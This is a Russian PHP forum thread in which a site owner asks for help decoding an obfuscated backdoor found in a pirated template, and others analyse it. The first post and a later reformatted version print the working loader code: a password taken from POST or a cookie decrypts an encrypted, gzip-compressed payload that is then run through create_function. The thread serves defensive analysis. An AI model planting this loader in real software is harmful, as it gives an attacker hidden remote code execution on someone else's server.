За последние 24 часа нас посетил 17301 программист и 1721 робот. Сейчас ищут 1655 программистов ...

Помогите расшифровать код зловреда

Тема в разделе "PHP для новичков", создана пользователем alex_a_k, 13 окт 2014.

  1. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Походу, подкинули на сайт шелл или нечто подобное.
    Уважаемые гуру, помогите расшифровать код.
    Хочется посмотреть нутро.
    Код (PHP):
    1.  
    2. <?php $g___g_='base'.(32*2).'_de'.'code';$g___g_=$g___g_(str_replace("\n", '', 'FLI/sUCbFkqWeYcDiBCHkiQFflgDwTurRxS5UOjTHhtMruxGga3xfsWRH7/uYOda3hUgVPO164UXPF5K
    3. ... вырезано 20 килобайт кода ...
    4. fG374YVXjO+1ZlFafg6IFY4ZunFyZjE+ncSfBBD0jCZanddGuD5fHfMpRa3tXDUBSzCdONKpoDgxSbaF
    5. '));$g__g_=isset($_POST['g__g_'])?$_POST['g__g_']:(isset($_COOKIE['g__g_'])?$_COOKIE['g__g_']:NULL);if($g__g_!==NULL){$g__g_=md5($g__g_).substr(md5(strrev($g__g_)),0,strlen($g__g_));for($g____g_=0;$g____g_<15180;$g____g_++){$g___g_[$g____g_]=chr(( ord($g___g_[$g____g_])-ord($g__g_[$g____g_]))%256);$g__g_.=$g___g_[$g____g_];}if($g___g_=@gzinflate($g___g_)){if(isset($_POST['g__g_']))@setcookie('g__g_', $_POST['g__g_']);$g____g_=create_function('',$g___g_);unset($g___g_,$g__g_);$g____g_();}}?><form action="" method="post"><input type="text" name="g__g_" value=""/><input type="submit" value=">"/></form>
    6.  
     
  2. Ganzal

    Ganzal Суперстар
    Команда форума Модератор

    С нами с:
    15 мар 2007
    Сообщения:
    9.893
    Симпатии:
    965
    base64_decode чего даст?))))
     
  3. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Было бы всё так просто, сделал бы сам.
    Попробуйте...
    Там еще:
    Код (PHP):
    1. $g___g_[$g____g_]=chr(( ord($g___g_[$g____g_])-ord($g__g_[$g____g_]))%256); 
    и
    Код (PHP):
    1. $g___g_=@gzinflate($g___g_) 
    Вдобавок что-то зашифровано через md5.
    У меня что-то не выходит, разобраться, не хватает знаний, по этому и прошу... <:-(
     
  4. Ganzal

    Ganzal Суперстар
    Команда форума Модератор

    С нами с:
    15 мар 2007
    Сообщения:
    9.893
    Симпатии:
    965
    а, не заметил... ну судя по всему этот код еще принимает через пост или куки какую-то строку которая дешифрует месиво и тогда уже создается валидная функция. обратите внимание сколько в интернетах есть вариаций этого кода. мне кажется декодирование не имеет смысла. снесите его и займитесь безопасностью сервера.
     
  5. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    var_dump($g___g_) сделай
     
  6. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Понял...
    Просто люди ещё до меня делали сайт и прицепили к нему платный шаблон слитый из "недостоверных" источников (идиоты >:-E)!
    Походу эта хрень там была изначально.
    С самим сервером, думаю всё нормально.
    А вот файлы и код придётся перелопапить.
    Начнем с aibolit...

    Жаль что это чудо нельзя глянуть изнутри, ну да ладно...
    В любом случае спасибо.

    Добавлено спустя 20 минут 26 секунд:
    Вы слишком поверхносно смотрите...
    Похоже Ganzal прав.
    Без передачи верных данных в POST или наличии правильного COOKIE, содержимое не вытянуть, а жаль...
    Гляньте ещё раз на код (для наглядности я его немного отформатировал, переименовал переменные и убрал мусор):

    Код (PHP):
    1. <?php
    2.  
    3. $aa1='base'.(32*2).'_de'.'code';
    4. $aa1=$aa1(str_replace("\n", '', '... Куча секретных букафф ...
    5. '));
    6.  
    7. $bb1=isset($_POST['$bb1'])?$_POST['$bb1']:(isset($_COOKIE['$bb1'])?$_COOKIE['$bb1']:NULL);
    8.  
    9. if($bb1!==NULL){
    10.  
    11.     $bb1=md5($bb1).substr(md5(strrev($bb1)),0,strlen($bb1));
    12.     
    13.     for($cc1=0;$cc1<15180;$cc1++){
    14.         $aa1[$cc1]=chr(( ord($aa1[$cc1])-ord($bb1[$cc1]))%256);
    15.         $bb1.=$aa1[$cc1];
    16.     }
    17.     
    18.     if($aa1=@gzinflate($aa1)){
    19.         if(isset($_POST['$bb1']))
    20.             @setcookie('$bb1', $_POST['$bb1']);
    21.         $cc1=create_function('',$aa1);
    22.         unset($aa1,$bb1);
    23.         $cc1();
    24.     }
    25. }
    26. ?>
    27.  
    28. <form action="" method="post">
    29.     <input type="text" name="$bb1" value=""/>
    30.     <input type="submit" value=">"/>
    31. </form>
     
  7. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    ну там бэкдор. а нафига он так зашифрован это вопрос десятый.
     
  8. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Блин, это и ежу понятно, но хочется посмотреть его нутро и возможности!

    Метод относительно новый и весьма действенный.
    Жаль нигде подробностей или его обсуждение с исходниками найти не удалось.
     
  9. Ganzal

    Ganzal Суперстар
    Команда форума Модератор

    С нами с:
    15 мар 2007
    Сообщения:
    9.893
    Симпатии:
    965
    исходник даже и не искал но обсуждений полным полно.
     
  10. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Да полно, но обсуждения только в том ключе, что дескать оно обнаружено и вопросы - как расшифровать, но не более...
    Полазив по форумам с обсуждением php шеллов, бэкдоров и прочей лабуды, нигде не натолкнулся на обуждение подобных зловредов.
    Уж очень интересно, узнать - это просто метод шифрования или некий шелл.
    Если да, интересны штатные возможности и т.п.
     
  11. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    eval(decoded());
     
  12. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Простите, но лишь бы ляпнуть...
    Вы хоть код смотрели?
    Утрите всем нос - покажите зашифрованный код!
     
  13. VLK

    VLK Старожил

    С нами с:
    15 дек 2013
    Сообщения:
    3.010
    Симпатии:
    58
    ахахаха.

    надо еще добавить "каков подлец.."

    А вообще igordata прав как я понимаю есть 2 вещи, это $aa1, код который хранится на сервере и доступа (для изменения) грубо говоря к нему нет у злоумышленника, и второе это $bb1, который мы получаем из $_POST['$bb1'] т.е. это как раз отправляет нам злоумышленник.

    я так понимаю $aa1 это функция которая делает 2 вещи, первое проверяет пароль (код) который вшит в $aa1 если он совпадает, то выполняет определенный код, как и написано выше
    а $bb1 передает 2 вещи, ключ (пароль) и собственно код, который надо выполнить.

    Добавлено спустя 2 минуты 56 секунд:
    А почему Вы не срисуете, то, что вам присылают, поправьте этот код, уберите вызов метода, т.е. за комментируйте непосредственно вызов этой функции: $cc1();

    а все остальное запишите в файл, потом прочитайте что за $_POST['$bb1'], и т.д.
     
  14. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    а что там еще может быть?
     
  15. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Определимся с переменными:
    aa1 : зашифрованный код
    bb1 : данные в POST или COOKIES
    сс1 : в результате - созданный после расшифровки код функции (правда перед этим она используется в как просто счётчик в цикле)

    Если вы чуть внимательнее посмотрите код, то увидите, что:
    1. Если в POST ничего не передаётся и в кукисах ничего нет, то дальше код не срабатывает.
    2. Если туда передать "неверные" данные, то результат работы строки:
    Код (PHP):
    1. $aa1[$cc1]=chr(( ord($aa1[$cc1])-ord($bb1[$cc1]))%256);
    будет неправильным.
    3. Как следствие корректно не отработает gzinflate и соответственно мы не получим расшифрованного кода и вернёмся на ввод bb1

    Т.е. bb1 не просто пароль, а ключ для дешифровки, не зная который узнать что внутри не представляется возможным.

    Добавлено спустя 2 минуты:
    Ну дак покажите содержимое eval(decoded());!
     
  16. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    не понимаю тебя. тут представлена функция, которая декодирует некий присланный код (еще и сжатый гзипом), помещает его в переменную $aa1, эту переменную скармливает функции http://php.ru/manual/function.create-function.html которая создаёт (внезапно) анонимку с именем, имя помещается в $cc1 и вызывается.

    Чего тут загадочного-то?
     
  17. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Расшифровать содержимое зашифрованного кода.

    Во первых - алгоритм немного другой...
    aa1 хранит код зажатый гзипом и дополнительно зашифрованый ключём bb1.
    при передаче через пост (или из кукисов) верного значения bb1 всё расшифровывается, создаётся кукис (если bb1 через пост) и создаётся функция cc1 c содержимым расшифрованного aa1.

    Во вторых...
    Я про суп, а вы про борщ!
    Главный вопрос топика - расшифровать!
    Я говорю что хочу посмотреть расшифрованный код, а вы говорите посмотри var_dump($g___g_) или eval(decoded()).
    Про невозможность расшифровки уважаемый Ganzal написал в самом начале еще в своём втором посте.
    На этом вопрос можно было закрывать.
    Но вы же упрямо продолжаете повторять про eval(decoded()) и т.д.
    По этому я и вступил в полемику.
    Узнать корректный результат без известного bb1 НЕВОЗМОЖНО.
    Жаль...

    В общем-то всё, диспут, думаю, можно закрывать.
    Хотя если есть ещё какие-либо аргументы, то готов подискуссировать.

    Добавлено спустя 9 минут 52 секунды:
    С чего вы это взяли? Проблема в том, что походу bb1 не вшит в aa1.
    Ничего не присылают. К файлу давно небыло обращений. Может забили (или зыбыли).
    Но буду мониторить...
     
  18. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    дык для этого надо знать то, что присылают постом или кукой. Это небольшая строка.

    вы просто не понимаете смысла моих слов.
     
  19. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Не присылают...
    Вы опять невнимательны. Я писал выше, что обращений к файлу не было (по крайней мере в доступных мне логах). Видно забили или ваще не юзали. В этом и проблема - bb1 неизвестен...
    И то, что это небольшая строка - нифига не спасает.
     
  20. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    декодированный base64 выглядит таким вот странным образом.
    Код (Text):
    1. 14b2 3fb1 409b 164a 9679 8703 8810 8792
    2. 2405 7e58 03c1 3bab 4714 b950 e8d3 1e1b
    3. 4cae ec46 81ad f17e c591 1fbf ee60 e75a
    4. de15 2054 f3b5 eb85 173c 5e4a 4a21 721f
    5. b50c ae81 9c05 f5ed 5c8d 05e5 ba20 6855
    Это допустим $base назовём. Потом по этому делу проходит ord() который берёт символ из $base и вычитает из них ord() соотв. символа из поста. При этом в переменной, которой присваиваются данные из поста, сидит
    Код (Text):
    1. $post = md5($post) . md5(strrev($post));
    потом делается
    Код (Text):
    1. for ($i = 0; $i < 15180; $i++) {
    2.   $base[$i] = chr((ord($base[$i]) - ord($post[$i])) % 256);
    3.   $post .= $base[$i];
    4. }
    что бред, ибо $post гарантированно 32 байта.

    Добавлено спустя 1 минуту 6 секунд:
    Для этого надо знать, что присылают. А присылают или нет - это вопрос второй.

    Добавлено спустя 9 минут 2 секунды:
    малболг
     
  21. ssoleg

    ssoleg Новичок

    С нами с:
    1 дек 2014
    Сообщения:
    2
    Симпатии:
    0
  22. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Ссылки попали под "обрезание".
    Можно повторить текстом или в личку?
     
  23. igordata

    igordata Суперстар
    Команда форума Модератор

    С нами с:
    18 мар 2010
    Сообщения:
    32.408
    Симпатии:
    1.768
    Ты хочешь что-то кому-то продать?
     
  24. alex_a_k

    alex_a_k Новичок

    С нами с:
    13 окт 2014
    Сообщения:
    33
    Симпатии:
    1
    Просто для себя хочу разобраться, почитав обсуждения.
     
  25. metadon

    metadon Активный пользователь

    С нами с:
    6 фев 2006
    Сообщения:
    779
    Симпатии:
    0
    в чём разобраться?